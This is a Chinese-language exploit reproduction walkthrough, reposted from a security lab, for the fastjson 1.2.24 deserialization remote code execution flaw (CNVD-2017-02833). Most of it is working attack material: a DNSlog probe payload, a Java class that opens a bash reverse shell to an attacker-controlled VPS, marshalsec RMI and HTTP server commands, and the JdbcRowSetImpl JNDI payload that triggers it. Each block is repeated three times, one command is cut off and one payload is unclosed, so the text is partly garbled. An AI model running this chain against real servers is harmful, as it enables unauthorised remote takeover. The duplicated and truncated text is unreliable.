CNVD-2017-02833 fastjson 1.2.24 RCE

本文转载于公众号：融云攻防实验室，原文地址：

漏洞复现 CNVD-2017-02833 fastjson 1.2.24 RCE

0x01 阅读须知

0x02 漏洞描述

Fastjson是一个Java库,可以将Java对象转换为JSON格式,当然它也可以将JSON字符串转换为Java对象。

    在1.2.24中，fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。

0x03 漏洞复现

漏洞版本:

• Fastjson<1.2.24远程代码执行（CNVD-2017-02833）

1.执行poc访问Dnslog服务，发现可出网

POST / HTTP/1.1
Host: x.x.x.x:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 66
{\"zeo\":{\"@type\":\"java.net.Inet4Address\",\"val\":\"u6pymk.dnslog.cn\"}}
POST / HTTP/1.1
Host: x.x.x.x:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 66

{\"zeo\":{\"@type\":\"java.net.Inet4Address\",\"val\":\"u6pymk.dnslog.cn\"}}
POST / HTTP/1.1
Host: x.x.x.x:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 66

{\"zeo\":{\"@type\":\"java.net.Inet4Address\",\"val\":\"u6pymk.dnslog.cn\"}}

2. 那么可以尝试反弹shell，首先编译exp文件为class文件（根据自己NC监听的VPS和端口设置ip/port）

exp文件：
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
 
public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{\"bash\", \"-c\", \"bash -i >& /dev/tcp/ip/port 0>&1\"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
 
        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }
 
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
 
    public static void main(String[] args) throws Exception {
    }
}
编译：
javac Exploit.java
exp文件：
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
 
public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{\"bash\", \"-c\", \"bash -i >& /dev/tcp/ip/port 0>&1\"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
 
        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }
 
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
 
    public static void main(String[] args) throws Exception {
    }
}
编译：
javac Exploit.java
exp文件：
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
 
public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{\"bash\", \"-c\", \"bash -i >& /dev/tcp/ip/port 0>&1\"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
 
        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }
 
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
 
    public static void main(String[] args) throws Exception {
    }
}
编译：
javac Exploit.java

3. 使用python在Exploit.class目录开启http服务

python3 -m http.server 8888
python3 -m http.server 8888
python3 -m http.server 8888

4. 使用marshalsec开启一个rmi服务为9999端口，去访问并执行python开启的http服务中Exploit.class脚本文件

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer \"http://pythonhttp:88
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer \"http://pythonhttp:88
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer \"http://pythonhttp:88

5.执行exp，得到一个shell

POST / HTTP/1.1
Host: x.x.x.x:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 159
{
    \"b\":{
        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",
        \"dataSourceName\":\"rmi://VPSRMI的IP:9999/Exploit\",
        \"autoCommit\":true
    }
POST / HTTP/1.1
Host: x.x.x.x:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 159

{
    \"b\":{
        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",
        \"dataSourceName\":\"rmi://VPSRMI的IP:9999/Exploit\",
        \"autoCommit\":true
    }
POST / HTTP/1.1
Host: x.x.x.x:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 159

{
    \"b\":{
        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",
        \"dataSourceName\":\"rmi://VPSRMI的IP:9999/Exploit\",
        \"autoCommit\":true
    }

6. burpsuite插件被动fastjson检测

https://github.com/Maskhe/FastjsonScan
https://github.com/Maskhe/FastjsonScan
https://github.com/Maskhe/FastjsonScan